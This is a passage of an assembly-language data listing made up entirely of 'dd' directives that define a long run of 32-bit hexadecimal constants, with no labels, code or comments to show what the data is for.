		dd 2DDB9BBFh, 8B3A6802h, 0A850B17Bh, 473E097h, 0E1B52BB6h
		dd 51900B1Ch, 9EC303CCh, 8FA17696h, 5B0ED4E6h, 0F5289F12h
		dd 0B2E0C2A6h, 0E0481170h, 324D122Ah, 0C4909127h, 13662460h
		dd 8E69CBFh, 224C0B34h,	0A7F6501Fh, 412441CDh, 205E553h
		dd 0FC244E8h, 0E3F93BCCh, 15B523C1h, 7DE9042Ah,	0ABE7E11Dh
		dd 0D66A78BEh, 7585010Ch, 4F9D8131h, 6E88177Dh,	0A980008Bh
		dd 2318468Bh, 6321044Fh, 0A1CD9529h, 99C903D2h,	0BFF5009Ch
		dd 4804D44Eh, 82428F72h, 8A0F6009h, 8D09E710h, 4F1FA528h
		dd 7A236120h, 0AE78F1B5h, 758AC193h, 0E80A6D0Ah, 0C9550046h
		dd 0C1DD127Ah, 0E90E7C27h, 32FFF81Bh, 1A23D83Ah, 0E11D4C00h
		dd 4AFB3214h, 9CD2C8ADh, 67806200h, 4D74549Ah, 29CCC4CCh
		dd 0C18B0430h, 5BE093A6h, 0CD005562h, 4559A3D4h, 4BEB01BBh
		dd 23FC3F04h, 4ADA0118h, 6943FBC8h, 187B8F7h, 7280E7EFh
		dd 446E1AD6h, 3ED189F7h, 86F6C67h, 0F1C12507h, 0F78B1102h
		dd 5EF133Eh, 0A72E37D0h, 6B68A06Eh, 0A023019Bh,	3F69A70Dh
		dd 27027ACDh, 76D9BD29h, 965B49EEh, 0E3F82971h,	16A01746h
		dd 439B202h, 6170A19h, 3FE2EBF6h, 919B3FD8h, 0AA21AD79h
		dd 18941A06h, 0A6050F9h, 0AEAB61DAh, 8AD1F1DBh,	5185ECD9h
		dd 2420015Bh, 3B39DDBFh, 29DA47C9h, 0B06566FEh,	0C254FC7h
		dd 0A87921C5h, 3CB8C876h, 2810644h, 0F8D0B5D6h,	5DB6137h
		dd 3D2CBE04h, 23A62E24h, 795A0616h, 2BA0FCF3h, 1B9AF18Dh
		dd 0BF600CB4h, 168AFAD4h, 8E1DE948h, 0E9232AE7h, 68F91FA1h
		dd 17CF1E7h, 25307A2Eh,	0B14F9023h, 3D1B00ABh, 48E8C592h
		dd 0F90050D6h, 0B4EF9E5Ah, 5293C96h, 9D8BEE1Eh,	1B50E1D5h
		dd 4DFBC291h, 0ADD44079h, 0E802B629h, 11E90B9Ah, 834ADF46h
		dd 98C068DEh, 0CBEA6513h, 0F8BCF60Bh, 0EF90001Eh, 0B838FFAh
		dd 17087BBDh, 4FACD84Bh, 0A2B5AB89h, 0F95EE9BAh, 0BD0B4155h
		dd 80BE609h, 0C93724CBh, 70BC5309h, 18035DEAh, 0E9D27D80h
		dd 811D0122h, 0A2A8F0E7h, 0C2364960h, 0C800F21h, 0A6D80657h
		dd 0B381158Ah, 0ADDD8D2Bh, 0F94274EDh, 8659CDh,	0CAFA384Bh
		dd 8E2E6E26h, 45085151h, 0F75E132Ah, 0E16A5B3Eh, 0B7297704h
		dd 9619C3BFh, 31FC2C99h, 13E54478h, 0F6F6C47Ch,	65C7E25Bh
		dd 58BE80D7h, 32FAD8Bh,	0E65B513h, 6B3568F6h, 0E27DB643h
		dd 0EB607EEFh, 59508C7Bh, 90D77358h, 514D019Ah,	5790F8DCh
		dd 155EFE5Eh, 0FC716140h, 0B7140424h, 0E8830F40h, 4085885Eh
		dd 0B589905Fh, 0E90D74B9h, 85EC8FEAh, 5EA6BA41h, 0C9C8DBB0h
		dd 0D7A88072h, 1270E612h, 471E4F5h, 0FC160513h,	248B8F44h
		dd 74ED1749h, 8131C094h, 2AC38B29h, 5DE17084h, 0D0E7DE76h
		dd 0C7E1AE2Ah, 129D46B0h, 2BCC4040h, 0DC0EBED8h, 7B674702h
		dd 44E86093h, 689500C1h, 92254A69h, 0B203705Dh,	57C7628Dh
		dd 8E0F8959h, 0FE009766h, 29935061h, 2E69BDB5h,	590673F2h
		dd 0A4181Ch, 0E6C86F19h, 1D73FD89h, 0C58D2915h,	0B5A550F5h
		dd 0BA0B612Dh, 0B94BB70Dh, 0E23F9880h, 180A92A0h, 6EADD750h
		dd 0D168A662h, 44E87C25h, 0E75E4110h, 5CFC0B49h, 5320086h
		dd 617C9D3Eh, 0DD5FCAFBh, 82649237h, 27455B8Dh,	2B123A82h
		dd 44EACDC4h, 0EC00B77Fh, 55745CFFh, 48F145EFh,	0F1473ECAh
		dd 6D35B5A1h, 0AD59211Ah, 0CE4000CDh, 12BF9193h, 0E0989288h
		dd 0AF24E7AFh, 37AD86F6h, 69160099h, 97880758h,	0BE687096h
		dd 0AD294112h, 0A940A221h, 125CF781h, 5373169Ah, 270B6FACh
		dd 4254C2B6h, 2D66D923h, 2EC593EDh, 8EEE8902h, 0F27DE13Fh
		dd 0B829CD20h, 4A1D5A16h, 447181CDh, 3B6DB145h,	0D3FCC474h
		dd 939A4480h, 5A02ECBDh, 8BCB15D3h, 8FD2D048h, 0B2862E6h
		dd 45BDF7C0h, 0D1891F4Fh, 80806E68h, 2EF1E1F0h,	4D30CF06h
		dd 0BE0F9D0h, 5F8E45DEh, 12FDF48h, 17F170B9h, 1C160D18h
		dd 0FE84635Ah, 1DE0D3F6h, 0BF2CD2AEh, 0F90B7C0Ah, 0CE7E68E9h
		dd 4BD000CFh, 0CCA841B7h, 9401B863h, 428D9235h,	156C8514h
		dd 0FEA8A288h, 7717592Ch, 40E5ED52h, 0CD25471Ch, 424A87FAh
		dd 0EF0CF4E7h, 8D44A22Ch, 1F90455Ah, 0B6F78BC3h, 0CF55C502h
		dd 0C01CC8CAh, 333D02FDh, 62356401h, 8F0FE99Fh,	0F33DE236h
		dd 0F6EF4C2Dh, 78923D62h, 351C5AD7h, 0A8A7ADE4h, 0E4380585h
		dd 8110498Ah, 91DADA3h,	0DB2AD8C9h, 257B8047h, 2107479h
		dd 8D09CD6Ch, 0C7020EB5h, 80D35685h, 7E0D5DF7h,	0D9285FBFh
		dd 0C04D8E15h, 0FBCD1673h, 0D222DCFh, 9D82F550h, 0C74345Bh
		dd 372089D9h, 5E658A11h
		dd 6B58E42Bh, 95CC50E7h, 902A404Dh, 926C3294h, 3100E1B9h
		dd 2FEBD995h, 5B3E7F7Ah, 0D359C600h, 0B5BF08C9h, 4AA2791Eh
		dd 3C54E6C3h, 0D13A9DADh, 46021723h, 74A1AEEAh,	22CF25A4h
		dd 3EB3E160h, 808B12A3h, 0B91F1036h, 7B25DD17h,	9F5C0F11h
		dd 7551A023h, 12C8F836h, 57ED9589h, 0E04CB64Eh,	2F8BE18Ah
		dd 0AD10237Eh, 3A09EC9Dh, 806CB6C0h, 0D3491FB0h, 0EEDE2EB2h
		dd 0F37B698Ah, 35732671h, 0B8D62000h, 622B7811h, 46F64501h
		dd 8BE7F49Dh, 0B414A030h, 19E814EEh, 534D8503h,	0F1C872E1h
		dd 0A509A902h, 89EBABA1h, 55F0960h, 32405F60h, 1D69950Eh
		dd 82493EBCh, 0E1C85082h, 5740DB59h, 0E9B41F09h, 6D9D09BCh
		dd 0A8ADF31Bh, 0C4CE16BDh, 0E01CE6B9h, 2F7C780h, 0BD337F02h
		dd 810010D9h, 2D7BA4CFh, 0B21A77BAh, 35F9FC40h,	8A605009h
		dd 4279DCh, 0F8D7217Bh,	0C800AE73h, 65B218FFh, 3A155953h
		dd 8B1D6949h, 1727EDCEh, 0F5B0890Fh, 8C92E1C6h,	0C0A34D97h
		dd 4ED891D6h, 0A14FE690h, 8E9EED4h, 0FA7273BCh,	13EFFAC1h
		dd 0E1430617h, 113AC7Dh, 0FE8BC7F0h, 4DAC684Dh,	4E6BC09h
		dd 65B5899Ah, 56500729h, 0DE88B72Fh, 0F6620902h, 49F9F4C5h
		dd 0A1826228h, 5DCE1FEh, 0FB057148h, 0B7C0C1EEh, 29E028FAh
		dd 0D125991Eh, 0A8C70059h, 9016142h, 75C32400h,	412D0E50h
		dd 0AFE62546h, 3CD1965Bh, 3C1026Ch, 3E1279BDh, 939BDB74h
		dd 0C4912AC0h, 29E2BFC9h, 0FF70BA0Eh, 3995A2D3h, 0A0D5D335h
		dd 2CB920C0h, 7CCE916h,	0F924D68Bh, 0BCB7AF03h,	0AFBB7B01h
		dd 0E038CAF2h, 58384980h, 0A12C27ECh, 19083B95h, 0CF9E2F28h
		dd 19A8610h, 248C15F8h,	3E0E14Ah, 9D8B7DABh, 2D36A8D4h
		dd 0BDCF29FCh, 37F18028h, 3C8C0C46h, 0DA5F7F3Bh, 0A5D6ED48h
		dd 0C681B246h, 8300DED9h, 0B41245BDh, 0BA4444D0h, 93015D7Bh
		dd 8975A47Ah, 8F972B85h, 46EA8D64h, 31B7E9D3h, 39A219B5h
		dd 0E82DF6C8h, 8636008Bh, 0EE9B08E4h, 7FB8459Fh, 92095182h
		dd 8CD064F3h, 879D00EBh, 0E4C2C7E5h, 8506FBBFh,	6CE927DCh
		dd 44A8AF28h, 80A9BC01h, 0FC221182h, 0A73E16CFh, 0F30B340h
		dd 4019BFF7h, 0B06591CDh, 2E280EB5h, 0ED8E1AC0h, 1A6743E7h
		dd 8F124E79h, 0C318887Ah, 5F8908ABh, 44EC2146h,	5B7ABE39h
		dd 10F0E909h, 0F5F65A82h, 0E8933FD9h, 0DDC20490h, 0FD7200F1h
		dd 1DBF5B6Eh, 0F82D1022h, 0FC24855Eh, 632EF5A2h, 0B200FCA1h
		dd 8A5F9C3Fh, 6EEA97F2h, 9C19A05h, 3F110D85h, 4FF32A28h
		dd 0FB20D850h, 34BBE59Ah, 0DD300371h, 0E91640DDh, 0BD97EF79h
		dd 0F0D91383h, 9AC2B0C0h, 762361B5h, 0D69168F3h, 18C153Ah
		dd 0DB13866Fh, 27FEC93h, 619BDB2h, 0DB53B255h, 61C501Eh
		dd 0CE01CC00h, 5A77361Ah, 9F92B86Ch, 0F1CE492Ch, 31478A9Eh
		dd 0ECBE4BEBh, 591027E8h, 8E1E4E0Fh, 208DBDC4h,	0C04A71F2h
		dd 2B70E7B3h, 8ADBD84Bh, 4F01AF80h, 9B01533Fh, 0A9BE934Bh
		dd 50F9E82Ah, 0AD819D9h, 2F4BF90Fh, 12C01788h, 0C4BB19D8h
		dd 0B70E55BCh, 0BB0924A4h, 0A4DC3112h, 21875B0Fh, 3C318DC4h
		dd 1BFF41B1h, 7B96C0C8h, 4059753h, 39621781h, 530BB12h
		dd 4119B529h, 142A451Fh, 0A94D0836h, 82047ABDh,	0BB823739h
		dd 43DED2FFh, 0CD6A5E6Dh, 37621D00h, 23AB0701h,	2135BD12h
		dd 1FF95475h, 9A018BA8h, 867350B0h, 9C2F345Fh, 5291F7CEh
		dd 0E0196D25h, 0A67D2C48h, 0F68E8D01h, 5E63EF81h, 203A6BD5h
		dd 3CA995Ah, 0B261F500h, 5E123514h, 85974838h, 1496E5Ah
		dd 694095DFh, 0B661A0D2h, 0A6230EE9h, 773DA055h, 0C1FFC1B9h
		dd 58BA20CBh, 2D6D2948h, 7A00981Dh, 6F2EE101h, 62F200E1h
		dd 99C23A06h, 0C6E1125Fh, 1D4F04B5h, 1B891601h,	0C5F2132Ah
		dd 589D81FAh, 35E969F8h, 1BD8538h, 95E0C4B9h, 520EB4Eh
		dd 0B6A156h, 83D55993h,	6FD9AB5Fh, 93C082Dh, 69CA02FBh
		dd 0C8E4090Ch, 8133BF45h, 9ECC3500h, 0DF8B1069h, 0FAFBB102h
		dd 0D98E0F2Bh, 354988A9h, 0B8E95F12h, 128C15ACh, 1C53C4D1h
		dd 570A5902h, 126E6F5Bh, 8EADAB07h, 0CDC920D6h,	174AD880h
		dd 87949A20h, 1FA31872h, 0BDB5E093h, 5E0F299Ah,	2E0BC32Bh
		dd 11F27311h, 0DE5AF89Fh, 0B0DA8004h, 26EDE810h, 659B3CE9h
		dd 8BC84415h, 0B88EE9C0h, 3EB209F3h, 47449B2Ch,	24494600h
		dd 0CDEAAF03h, 0B5E01EA3h, 167B2658h, 0A9F2857Eh, 0EB61AD3Bh
		dd 5D0F412Bh, 447DC217h, 0A6D1E5DBh, 0CB3824C6h, 85C690F6h
		dd 0DE9E790Eh, 59BC5665h, 5E591C20h, 730B9242h,	903F30F1h
		dd 82C61D81h, 6F3A1356h, 4CA52E7Bh, 355E5907h, 0E9B501F1h
		dd 0BA51E024h, 0EB20FBC5h, 256D9CA5h, 0FCBA0CDh, 0BCE2B2EBh
		dd 0C1198923h, 0A441FC5Dh, 0F80223B9h, 9DC5F56h, 108923D2h
		dd 4012DC84h, 0CEF6DDF9h, 0BB780001h, 891BD70Ah, 0BA003E98h
		dd 30C7B338h, 14A784BEh, 0E0523F74h, 77E8852Ah,	5BF3595Eh
		dd 8501F8BCh, 2B3F97FDh, 0B62065ABh, 44245BC5h,	0AD1F51CEh
		dd 0A0E85Dh, 0BCC825A8h, 0CB2848CAh, 0A07960CAh, 0B313FC92h
		dd 0B718AEC6h, 0C60F3829h, 1D74C109h, 0BD1A02DCh, 6B3C38EDh
		dd 3DB5A0D0h, 0F534807Ah, 4A9752ECh, 8975030Fh,	2514299Dh
		dd 1DF38078h, 1D37FB25h, 0EA5DDC00h, 54680D93h,	9F0BC1F1h
		dd 87377B3Ah, 0B90E15ACh, 90A6A0FFh, 12CCBA60h,	87756A2h
		dd 0F0A50272h, 9050248Ah, 0DB7FDE69h, 401B7009h, 787E536Ah
		dd 8A0483EAh, 0CDB5893Eh, 0E7810590h, 182D1A38h, 0CE60564Ch
		dd 8CA07EBCh, 174C1D86h, 0BD090449h, 89491471h,	0EF1A5B04h
		dd 81660A20h, 0DB4500DFh, 0E1D9BF50h, 219F15EEh, 351DBD66h
		dd 2501B148h, 97E3D185h, 0BC28ADC4h, 38D42E64h,	83E52F61h
		dd 491FA1A4h, 4C5E51E5h, 691734A8h, 0D76FD3FFh,	96EE6002h
		dd 75D4BD46h, 26168908h, 734C60AEh, 6900D8C2h, 0B8BE469Ah
		dd 5A31C987h, 8497645Fh, 0E98C45FAh, 8497A361h,	6B251D90h
		dd 9506004Eh, 5F5851B1h, 7EFC3BBFh, 8A1E302Dh, 100415E1h
		dd 8B0104EDh, 7A05F99Dh, 0DACED741h, 24975624h,	0F35224FDh
		dd 9CBE037Bh, 4E56CF4Bh, 0E4A55D54h, 0B4011EBBh, 5C6AF433h
		dd 0F3B70284h, 1BE5BD83h, 4252317Ch, 3186465h, 0FAC9D53Fh
		dd 4BDB26C1h, 85091704h, 0B3A91949h, 34E64869h,	21105ABEh
		dd 1430E91Ah, 81403775h, 58317D19h, 0C23549BFh,	0F18D2921h
		dd 0A0423F23h, 80269B4Ah, 0DD0DA6FDh, 0B55EE22h, 15F59529h
		dd 4EA6EAFBh, 40194674h, 4C146BC3h, 9EF75AAh, 0E2616AF6h
		dd 0DC79F4F0h, 3746201h, 88A82DFFh, 0F270C43Eh,	2D3E3414h
		dd 0CA6EFEh, 2B1B69EBh,	25FF0CE7h, 0B91A53BCh, 90FB8EC0h
		dd 512D6198h, 0DACAC0AFh, 0FE41F5ACh, 99130ED9h, 6420796Fh
		dd 5FFEB0DDh, 0D49AE71Dh, 29B577h, 210316D3h, 6C090DCFh
		dd 46B57B8h, 9ED15195h,	237671E4h, 0CFDBDFF0h, 0AF9BA706h
		dd 27B0F6D2h, 0AA3234F1h, 0D44BFCh, 0CCE5EAF7h,	455BFC2Eh
		dd 899D3113h, 57CFA4A9h, 951D9544h, 0C387823Ch,	0DCC4DCh
		dd 231EE4BCh, 0F825B075h, 32770097h, 918A0FC6h,	134E3ED6h
		dd 0B860F97Eh, 0CC56099Dh, 9EC06171h, 0B606B5BEh, 0D82B6F7Ah
		dd 23C920CAh, 24E1504Eh, 4BE1BDF0h, 259E8A04h, 2B71AF3h
		dd 7C164DE6h, 50867EF5h, 0CD3E3504h, 8BE114AFh,	0BD09E238h
		dd 133211C5h, 5A505EDBh, 0CC449757h, 0B6BF6E1Fh, 9439700h
		dd 0B3A326h, 870BE740h
		dd 199B523h, 0F58CE8ABh, 2B02F9FBh, 208979DEh, 1B10367Ch
		dd 6F5DE558h, 0EC2824Ah, 0B597584Eh, 69840072h,	7A8D5A8Eh
		dd 4B511E48h, 0A4DC24DEh, 582083Ch, 0B722BE81h,	143F7E84h
		dd 344B7436h, 0E1DAC2F8h, 51A90E4Ah, 0E500653Dh, 478F0A23h
		dd 0D4EF273Eh, 25CEFEE1h, 41C34159h, 0C3290215h, 0DBF5AC5Ch
		dd 42D5203Ah, 6800A4CFh, 0FD6B8A3Eh, 0B0B5876Dh, 2725094Bh
		dd 0F3EA4345h, 89CFCC0Bh, 85310B40h, 60234FFDh,	0C183F5EAh
		dd 822F3795h, 84FB2B2Fh, 0CE7003D2h, 0A9845D82h, 0D8841314h
		dd 31C06EDBh, 0DF109D4Ah, 0D0CAAC5Fh, 12C02758h, 0DE401C2h
		dd 93282359h, 0DA01EBA2h, 29BC7D12h, 18C0CC9Eh,	83748D73h
		dd 0AFB4B604h, 409B5B15h, 0C1A778C5h, 312398Ch,	299BD42Bh
		dd 0CA5CB5C0h, 0E32CE7E8h, 5628C4DBh, 94163927h, 316C80E1h
		dd 295D328Dh, 290EEFh, 2005FDC8h, 0C08B3C15h, 0BA6CF02h
		dd 997A3D44h, 27DC8CBCh, 0CDF052C4h, 0D7825FBEh, 7515F05Bh
		dd 0B30D9637h, 6E7BA256h, 954C0532h, 1C0593Fh, 0B28FEB96h
		dd 9BCE646h, 3111BD03h,	489ADEEDh, 0DCC5F44Fh, 0D5F81907h
		dd 0F120EA5Ch, 0BF85FF43h, 1791DF9Fh, 4F2E7181h, 49A2A02h
		dd 97C01CC8h, 5485814h,	295AA2A6h, 3382989Ch, 115BD10h
		dd 71319029h, 1B6181Bh,	0E7B40E39h, 3FA5F3CFh, 2F10F405h
		dd 0D480CDF8h, 0C4FB6B08h, 74A41B05h, 9282239Dh, 11640A16h
		dd 0B3884B15h, 98EB3869h, 0ABE1AA0Eh, 51E3E520h, 992C1E9Ah
		dd 8D1DFEC3h, 98AC4F6Ch, 0D0EC00DEh, 0B6C6106Eh, 0EA9494DAh
		dd 54FE2DCh, 2EDD21C1h,	0E318263h, 6F2A385Fh, 89AE0142h
		dd 92327535h, 0C86E3FF5h, 0F1FA5900h, 83CF7711h, 0E2B8994Fh
		dd 0D1DB1Ch, 8D09747Fh,	0ABA82A91h, 60890583h, 74B70970h
		dd 803AB1D6h, 7CAD41E2h, 2F010691h, 9522C066h, 3368A0E9h
		dd 6F64A14Eh, 1F7DDFC8h, 0C3DD34h, 4DD54B1Eh, 0E05B223h
		dd 5F32717Fh, 0DE3E20A5h, 374F9C0Ch, 0CF4A2D8h,	2720FEDAh
		dd 0F8C0EB1Ah, 90812C51h, 0CF80EF78h, 0D1C8A0B8h, 7E1DE300h
		dd 503515DDh, 0F4565A52h, 9007BECFh, 5E585A4Fh,	0C4F18BD3h
		dd 7965691h, 0DBB7B0A7h, 76B44425h, 552D255Fh, 0E41C02D1h
		dd 0B40A8641h, 64AD6C83h, 7970D5F3h, 0DAF50272h, 0D1855491h
		dd 271D8A80h, 91BC0617h, 0E2798B40h, 0CBBE00CAh, 0E5E6AC7Ah
		dd 5B130330h, 0EFC42F72h, 0AD6EAFh, 0E319F0E8h,	139DBA65h
		dd 82C4F3C0h, 0F47C9008h, 5AF0D047h, 892A11h, 68B49969h
		dd 8BBB186Eh, 68BBF251h, 0F9A780E1h, 7BDF3E37h,	305600CAh
		dd 5F6A22Ah, 0DE094F3Ah, 7E904561h, 270910E1h, 8009D96Ah
		dd 981F62B5h, 0BA3C9D04h, 0C0A52731h, 0BD6A5ED2h, 0AB7B20C6h
		dd 2128AE1Fh, 5A803F80h, 2D50178Fh, 341891F0h, 33DC8B0Fh
		dd 0A5B76E27h, 6116C465h, 29C87EB7h, 0B6D2795h,	0C52D12E8h
		dd 4DD3FF25h, 0AD60CED1h, 632F89F8h, 3F4EED00h,	0D5852998h
		dd 0E0BA9D16h, 1911349Dh, 0C9FDAC93h, 73DF90E8h, 57A3012Ah
		dd 6AD6022Ch, 891C608Fh, 0B75F2B40h, 0D48FC10h,	773DBF79h
		dd 23908BBDh, 0D50318C7h, 247F010h, 0F4B28126h,	92625F62h
		dd 277104FEh, 0E8DB09C6h, 94FAC70h, 0FD01CD30h,	0B505EB73h
		dd 6CBA1A31h, 0DF8A4F75h, 1D0E3B04h, 16A19D84h,	79E8D4E9h
		dd 0CDCF2527h, 696D682Ah, 3633FB48h, 3DF44B5h, 9B973921h
		dd 0ED985DBFh, 0CCB49C56h, 83056E91h, 0A22505BDh, 73352DC9h
		dd 0C2D2D85Fh, 0EF8D410Ah, 0D508962Dh, 0A5291E30h, 0E92D0BDAh
		dd 0F20B9073h, 848569C7h, 0E934E7E6h, 0B5A98961h, 7652F6B8h
		dd 27AF702Ch, 0F287040h, 0E30D5888h, 1739E0A5h,	5F0ED202h
		dd 5F8F0F4Ch, 0AC617118h, 0D0148D48h, 86575F8Ah, 30B40BF6h
		dd 8BA5694Ch, 2129B513h, 1299F7ACh, 0D7FEC281h,	825B83C4h
		dd 0F9A0D58Ch, 8C1AACC1h, 0DBF90301h, 35D0B911h, 703C63h
		dd 0D262860Ch, 8C2B02ABh, 145B0D01h, 503D79FCh,	84F8E41h
		dd 0DB4E227Ch, 8918099h, 5E5F79BEh, 0B6B9C501h,	557F00D4h
		dd 1CC9AF78h, 9D292D76h, 3290E85Ah, 2FD40A51h, 3FC0F7DBh
		dd 22E4506Bh, 0E058EBEEh, 2033CEF0h, 0EF773182h, 0C8014F97h
		dd 7992B0E0h, 0DA85FF5Fh, 71E46581h, 7965C942h,	43BE809Eh
		dd 0F910E5B2h, 44814D9Dh, 196C6016h, 0E4819DE7h, 0D18A9BDh
		dd 5CEC7ECAh, 5C165E4Fh, 61E09CB6h, 0E5099BD5h,	4DD82B93h
		dd 0BACFC003h, 111262BFh, 71488902h, 0E931731h,	9B97FEDDh
		dd 5CF88069h, 2DD1BF7Fh, 14D3EA28h, 0D7181659h,	90E27B27h
		dd 3C3B8B2Fh, 15007FEEh, 71FB26D1h, 633A0476h, 341D9730h
		dd 675F0304h, 0B35FC3B3h, 0FEB02B5Dh, 4F724DD0h, 804CDE61h
		dd 50F6C7C9h, 0E05601D9h, 9509606Eh, 18422AEDh,	42C9F8BEh
		dd 85905562h, 3EE23BA6h, 86047B71h, 0D18B6097h,	225A90ACh
		dd 0C02B4B44h, 929C7E4Bh, 4C78AC7Dh, 0D24A5409h, 557CC369h
		dd 0A23B00DCh, 5F91671Dh, 0D52DB52Bh, 11F03509h, 0D5D68117h
		dd 0BE8464AAh, 0AE05A5C6h, 0DE0B2B34h, 0A203D219h, 0E1A66D9Ch
		dd 0D4EC796Dh, 9D906C5Dh, 0C33C6D95h, 0B5915803h, 0A6CC3BDDh
		dd 0AFC7BC88h, 93C0614Dh, 0E9A47BBh, 0CB0113B4h, 9897BEC0h
		dd 514A3F23h, 5F0BB6A3h, 0E36F07B9h, 56F42D62h,	0CBF60BEDh
		dd 66274E7Ch, 0DC9C9638h, 0A0B2C00h, 34455887h,	4DE55B65h
		dd 6E29FD55h, 6204AA6Eh, 0AAA47975h, 69BF88h, 898A305h
		dd 6F503C4Fh, 55D01900h, 0A64452B3h, 840F49E6h,	5F11530Bh
		dd 0D7418B62h, 637CC2F5h, 71EEA8C4h, 0C793B0C3h, 6E242EF8h
		dd 2F821C4Fh, 505A7C07h, 0D309FDBFh, 7B5B2C6Ch,	6F1670E6h
		dd 0B7A50F03h, 1D75EEBh, 93A290B4h, 6DC32B48h, 0FB528A44h
		dd 0EDC409FCh, 0B6FCF28Bh, 80C6B7A5h, 0AC6B7BCEh, 4E12AE01h
		dd 0DB40FA3Ah, 0ECBEB024h, 324D0BC9h, 2FD6C08Bh, 6A5FF80Bh
		dd 0B1CD6084h, 85C7801Fh, 0D3F5A395h, 7774BAEDh, 424CF99Bh
		dd 9EF32DEAh, 3B124529h, 0FB1C250Bh, 0A2D0A5EBh, 7ACB2BEDh
		dd 80789A5Ah, 0CF565E08h, 0D18D1689h, 186CB716h, 4B310EE8h
		dd 0E0E3077Eh, 0BFDBC0F5h, 0DCC45EC0h, 52986A35h, 0FC19D13h
		dd 79E647E4h, 72D32AF5h, 0ACD125A4h, 0AE2B2A05h, 0A7F29320h
		dd 870F270Ah, 847009C4h, 39E28188h, 21311512h, 3A23B560h
		dd 41292EC8h, 4B0CA52Dh, 0EE54064Ah, 6C23954Ah,	0F27A1F5Ah
		dd 56677C07h, 5A5760F6h, 0F549FCCCh, 163BBCF6h,	0AD31C14h
		dd 0A7D7D18Bh, 5DC0E7CDh, 2614E17h, 0EDBBA115h,	7F428876h
		dd 6DC5456h, 69AD5CE6h,	0AE164445h, 0F288EF79h,	0DC0E0011h
		dd 0FC3227E7h, 0DF271F7Fh, 0B35650E5h, 0C96B78F1h, 77612012h
		dd 0C8BEA000h, 9D0D2229h, 95A1EB64h, 0F9E21417h, 27566600h
		dd 8E5F40FBh, 0D5F23000h, 0B2BDF1EEh, 4EEF1218h, 659704A9h
		dd 7B600921h, 7D770E8h,	0A8565104h, 0A0F80950h,	0FEB95881h
		dd 83FD05FFh, 8B1215B8h, 484E8D95h, 0EBEDB621h,	0CFF3A546h
		dd 0E70E2AE8h, 0FE692698h, 8971DE52h, 0B27EB589h, 4E8D6096h
		dd 51E99203h, 87A7A285h, 16647A67h, 28602960h, 0E89C10B5h
		dd 1A820092h, 6179D872h, 0EA00CB4Eh, 9997B771h,	285FEDDAh
		dd 208669D5h, 83130D41h, 7C0D01E1h, 0F47D4721h,	9BE608B8h
		dd 0F0D6A819h, 1FC611DAh, 66811711h, 3B3E4EEAh,	9823CF08h
		dd 0FB19250Dh, 0D1C24200h, 0BCB4CD35h, 6B8015B6h, 0CC4A67B3h
		dd 1040CD16h, 0D5604961h
		dd 820093BCh, 0FB675D1h, 4C94A702h, 90C0CD3Ah, 0D763796Ah
		dd 0AE77BA00h, 0BCB2D9A4h, 5E6F2414h, 1C46D65Eh, 0F359C904h
		dd 0BE98C00Fh, 0CCB4A508h, 0F4377F40h, 0F7704D1h, 81CB30BDh
		dd 12146145h, 0EAAD7D85h, 79912B18h, 0D246F78Ah, 8A479D28h
		dd 0E9611564h, 79FE3087h, 0CB252C49h, 0E7737E1Ch, 0B6E610AFh
		dd 0CC00923Ah, 3F3071EDh, 0E66A830Ah, 0C3660BC0h, 35435ABFh
		dd 7EAC9C69h, 0D902F4FBh, 41BA66C9h, 5A4CAB0Bh,	0DC97BE75h
		dd 2AD40E00h, 8719CC7Eh, 0BCBC91A1h, 0BE5DC880h, 0D697CEF4h
		dd 0AE957500h, 4D20C59Ah, 244370C0h, 2640496Fh,	0BED08A4h
		dd 6DA50D29h, 0FF80CF37h, 57DF4164h, 0E82F4800h, 0C277E081h
		dd 12D05DCh, 2530C9B5h,	3E82A5FFh, 2600B86Eh, 87F178A7h
		dd 0B5142909h, 4E2D21CDh, 1DF2D1A3h, 3B659D30h,	0D8020FF4h
		dd 0BF8D1147h, 51859483h, 0B596C8BCh, 0EC1D3120h, 7BCCD38Dh
		dd 0AC1800E3h, 7B2FD1FCh, 7CA713DAh, 0D471A8D3h, 1CF82443h
		dd 9D162066h, 28813437h, 101CA3A9h, 0B796BAA0h,	2340116Fh
		dd 2B4C4F6h, 29198615h,	87749F11h, 0C2721612h, 0B0B32202h
		dd 5E357C62h, 105EFA81h, 0C14168D6h, 5C221325h,	0A065F6D2h
		dd 398DBA71h, 20480B4Fh, 0C632597Ah, 640063ECh,	80DC4C25h
		dd 0DB84AE3h, 493F8A6Fh, 4E06295Ch, 0EA00216Eh,	662DC519h
		dd 1F51BBBFh, 6FAEADE1h, 0B2314054h, 5A29B0C4h,	1E9AD71Fh
		dd 4FB77725h, 7A1A3A06h, 7BEED39Ch, 519D04BBh, 88AA7ACCh
		dd 0FE0ADB6Dh, 560EC2C1h, 0BA040EA0h, 439B4F1Fh, 0F2DB3085h
		dd 8E88580h, 8903A0BFh,	2BF50AE7h, 24BE8CBDh, 56D1A7D3h
		dd 0E0B6F39Ch, 9D89BA2h, 94953B28h, 0EE092170h,	0CD617615h
		dd 22D5C05Ah, 560449D8h, 4E35A8D0h, 124ED2h, 9D6107EBh
		dd 5DE8E94Ah, 8C19FCh, 62A5A04Bh, 0BD89422Fh, 576D4A95h
		dd 8E0C9A37h, 40E546E8h, 0C15E8B18h, 101CBEA2h,	402D1F11h
		dd 2CA3EA8h, 0D600BC54h, 6BFB707Ch, 5EE1362Ch, 5A9001FFh
		dd 3E1AC281h, 0F68935C2h, 96847B5h, 0B50EDF4h, 79B166B5h
		dd 24904458h, 10343Eh, 0EB815BF8h, 7FC9644Dh, 73875C45h
		dd 0FAFC6084h, 81610230h, 277071F3h, 1F7179FFh,	75B58982h
		dd 42240C0Eh, 68AACB17h, 1CF3E387h, 15C9E002h, 4D26EE3Fh
		dd 7AF660h, 82747FF0h, 0E883617Eh, 8925027Dh, 83AD7B14h
		dd 1C8A2970h, 0AB0B1BF0h, 0D95D0500h, 5FE74499h, 220E348h
		dd 85016059h, 0FFA2C4F8h, 7C8D76E3h, 0E3D6E907h, 235612E8h
		dd 0BFCD8017h, 5DCA007Bh, 0AD327EB8h, 0B5E49C6Fh, 26034D16h
		dd 830A90B0h, 0C3685EA2h, 9073D873h, 6CB04603h,	0B02F1FD5h
		dd 3C889F0Fh, 6F007F57h, 0A6143DD8h, 0EF7E08CAh, 0B5FE5D00h
		dd 9904E20Ah, 814C012Ch, 5433FB4Fh, 380EC71Fh, 987AA643h
		dd 0C1202711h, 19484719h, 34588364h, 0A89E421Ah, 302445CCh
		dd 8A316DDAh, 7201CE70h, 719DCF7Eh, 198C62AFh, 429928A3h
